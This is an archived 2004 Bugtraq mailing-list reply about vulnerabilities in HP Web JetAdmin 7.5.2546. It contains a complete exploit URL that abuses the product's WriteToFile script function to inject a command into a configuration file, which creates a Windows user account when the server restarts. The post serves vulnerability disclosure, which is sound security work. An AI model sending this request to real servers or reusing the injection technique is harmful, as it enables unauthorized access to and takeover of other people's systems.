bugtraq - Re: HP Web JetAdmin vulnerabilities.

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Wed, 24 Mar 2004 15:38:38 -0600
From: H D Moore <sflist@...italoffense.net>
To: bugtraq@...urityfocus.com
Subject: Re: HP Web JetAdmin vulnerabilities.

On Wednesday 24 March 2004 13:59, wirepair wrote:
> Product: HP Web JetAdmin Version 7.5.2546 
> Although I did not test, it may be possible to directly inject the hts
> scripting directly into the application using a tool like WebSleuth.

The following HTTP request would result in a user account being 
created once the server is restarted. Wirepair and I found this 
vulnerability independently, I tried to contact the vendor in mid-January
and received no response, apparently he was more persistent :)

https://<target>:8443/plugins/framework/script/tree.xms?obj=httpd:WriteToFile([$__installdir$]conf/portlisten.conf,Listen%208000%0A%0DAccessLog%20"|../../../../../../winnt/system32/cmd.exe%20/c%20net%20user%20P%20P%20/ADD")

-HD